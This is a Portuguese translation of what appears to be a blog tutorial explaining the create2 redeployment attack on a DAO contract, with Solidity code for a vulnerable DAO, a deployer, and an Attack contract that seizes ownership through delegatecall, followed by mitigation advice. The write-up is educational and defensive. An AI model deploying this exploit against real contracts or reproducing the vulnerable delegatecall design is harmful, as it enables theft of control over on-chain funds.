Um ataque de opcode create2 em contratos inteligentes explora fundamentalmente a característica deste opcode para implantar contratos em um endereço predeterminado. Essa característica, combinada com a lógica específica do contrato, pode se tornar uma vulnerabilidade para ataques. Embora o opcode create2 em si seja bastante simples, ele oferece maior flexibilidade para que os contratos implementem lógicas específicas, tornando-o muito comum nos protocolos DeFi de hoje. 🌐
Por exemplo, no UniswapV3, os pools de liquidez para tokens são implantados automaticamente usando um contrato de fábrica. Quando chamamos certas funções do contrato UniswapV3 (como empréstimos instantâneos), podemos calcular o endereço do pool de liquidez correspondente de maneira semelhante à seguinte:
address pool = address(
uint160(
uint(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
)
Isso ocorre porque o opcode create2 requer quatro parâmetros para calcular o endereço ao implantar um contrato: o primeiro é bytes1(0xff)
para evitar colisão de endereço com contratos implantados usando create, o segundo é o endereço do implantador do contrato, o terceiro é um valor salt determinado pelo implantador e o quarto é o valor de hash calculado a partir do bytecode do contrato e dos parâmetros empacotados. 🧩
Isso nos lembra de sermos cautelosos quanto ao método de implantação de contratos e à possibilidade de alterar o conteúdo do contrato chamado por meio do opcode create2, potencialmente injetando código malicioso. 💡
Neste artigo, demonstrarei um exemplo simples de um ataque create2 e como evitar tais ataques. 🛡️
Primeiro, vamos descrever o processo de um ataque create2
Alice implanta um contrato DAO simples, cuja principal função é aprovar propostas criadas por outros e, em seguida, executar essas propostas por meio de delegatecall. O código é o seguinte:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "não autorizado");
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "não aprovado");
require(!proposal.executed, "executado");
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall falhou");
}
}
O atacante, Eve, descobre uma vulnerabilidade neste contrato DAO e, portanto, implanta um contrato Deployer. Este contrato usa o opcode create2 para implantar outros dois contratos. Um é um contrato Proposal legítimo e o outro é um contrato Attack projetado para o ataque. O código é o seguinte:
contract Deployer {
event Log(address addr);
function deployProposal(uint256 salt) external {
address addr = address(new Proposal{salt: salt}());
emit Log(addr);
}
function deployAttack(uint256 salt) external {
address addr = address(new Attack{salt: salt}());
emit Log(addr);
}
}
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Código executado aprovado pelo DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Código executado não aprovado pelo DAO :)");
// Por exemplo - defina o proprietário do DAO como atacante
owner = msg.sender;
}
}
Um processo simplificado de um ataque create2:
Eve primeiro usa o contrato Deployer com um valor de salt predeterminado (por exemplo,
bytes32 salt = keccak256(abi.encode(uint(123)));
) para implantar o contrato Proposal, que é uma proposta legítima. 🧱Eve envia esta proposta para Alice, e Alice chama o contrato DAO para aprovar esta proposta. ✅
Eve invoca a função emergencyStop do contrato Proposal, acionando o selfdestruct e, portanto, destruindo o contrato. 💥
Eve usa o contrato Deployer com o mesmo valor de salt (por exemplo,
bytes32 salt = keccak256(abi.encode(uint(123)));
) para implantar o contrato Attack, inserindo código malicioso. 🕵️♂️Alice chama a função execute do contrato DAO para executar a proposta. Como a estrutura de dados Proposal e a lógica da função execute não verificam a lógica interna da proposta no momento da execução, elas apenas executam com base no endereço do contrato de proposta já aprovado. Portanto, o delegatecall na verdade chama o contrato Attack. 🚨
O contrato Attack contém uma função executeProposal com uma assinatura idêntica àquela no contrato Proposal, contornando a verificação de assinatura da função em (
bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()")
);. Como resultado, a função executeProposal no contrato Attack é chamada, modificando variáveis nos slots de armazenamento correspondentes do contrato DAO por meio de delegatecall. 🔀Observando os slots de armazenamento do contrato DAO, o primeiro é a estrutura Proposal, que na verdade não ocupa slots de armazenamento quando declarada. Portanto, a variável no slot 0 é na verdade address public owner = msg.sender;. Olhando para os slots de armazenamento do contrato Attack, o slot 0 também contém address public owner;. Portanto, o delegatecall para owner = msg.sender; no contrato Attack resulta na modificação da variável owner no primeiro slot de armazenamento do contrato DAO para o atacante, Eve. 🎭
Como prevenir tais ataques create2
Este ataque é bastante simples em si, mas mostra que a combinação do opcode create2 e da lógica do contrato usada extensivamente nos protocolos DeFi mainstream de hoje nem sempre é perfeita. Com base no princípio do ataque, podemos considerar as seguintes maneiras de reduzir esses riscos:
Antes de aprovar e executar chamadas de contrato externo, devemos verificar o conteúdo do contrato em si, não apenas representar o contrato já implantado pelo seu endereço. Isso pode ser alcançado verificando o bytecode do contrato. 🔍
Fique atento a contratos com funcionalidade selfdestruct e limite e monitore chamadas para eles. Isso pode ser alcançado por meio de auditorias de código e governança de contrato. ⚠️
Para contratos do tipo DAO, considere adicionar um bloqueio de tempo antes de executar propostas. Isso pode fornecer tempo suficiente para revisar o conteúdo da proposta, garantindo que ela não tenha sido substituída por ações maliciosas. ⏳
Seja cauteloso nas chamadas de função que envolvem delegatecall, pois o delegatecall alterará as variáveis nos slots de armazenamento do chamador. Mesmo que não seja código malicioso, inconsistências na estrutura de armazenamento entre o chamador e o chamado podem levar a erros inesperados. 🤔
Isso conclui nossa discussão sobre ataques create2 e estratégias de segurança relacionadas. Como você chegou até aqui, que tal dar um like! 👍
Este artigo foi escrito por codingJourneyFromUnemployment e traduzido por Adriano P. de Araujo. O original em inglês pode ser encontrado aqui.
Latest comments (0)